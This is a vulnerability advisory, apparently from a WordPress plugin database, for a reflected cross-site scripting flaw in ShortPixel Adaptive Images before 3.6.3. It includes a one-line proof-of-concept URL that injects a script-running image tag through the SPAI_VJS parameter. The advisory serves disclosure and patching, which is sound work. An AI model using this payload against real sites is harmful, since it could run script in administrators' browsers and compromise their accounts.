WordPress Plugin Vulnerabilities

ShortPixel Adaptive Images < 3.6.3 - Reflected XSS

Description

The plugin does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against any high privilege users such as admin

Proof of Concept

https://example.com/?SPAI_VJS=%3C/script%3E%3Cimg%20src%3D1%20onerror%3Dalert(/XSS/);%3E

Affects Plugins

References

Classification

Type
XSS
CWE
CVSS

Miscellaneous

Original Researcher
dc11
Submitter
dc11
Verified
Yes

Timeline

Publicly Published
2023-01-31 (about 1 years ago)
Added
2023-01-31 (about 1 years ago)
Last Updated
2023-02-03 (about 1 years ago)

Other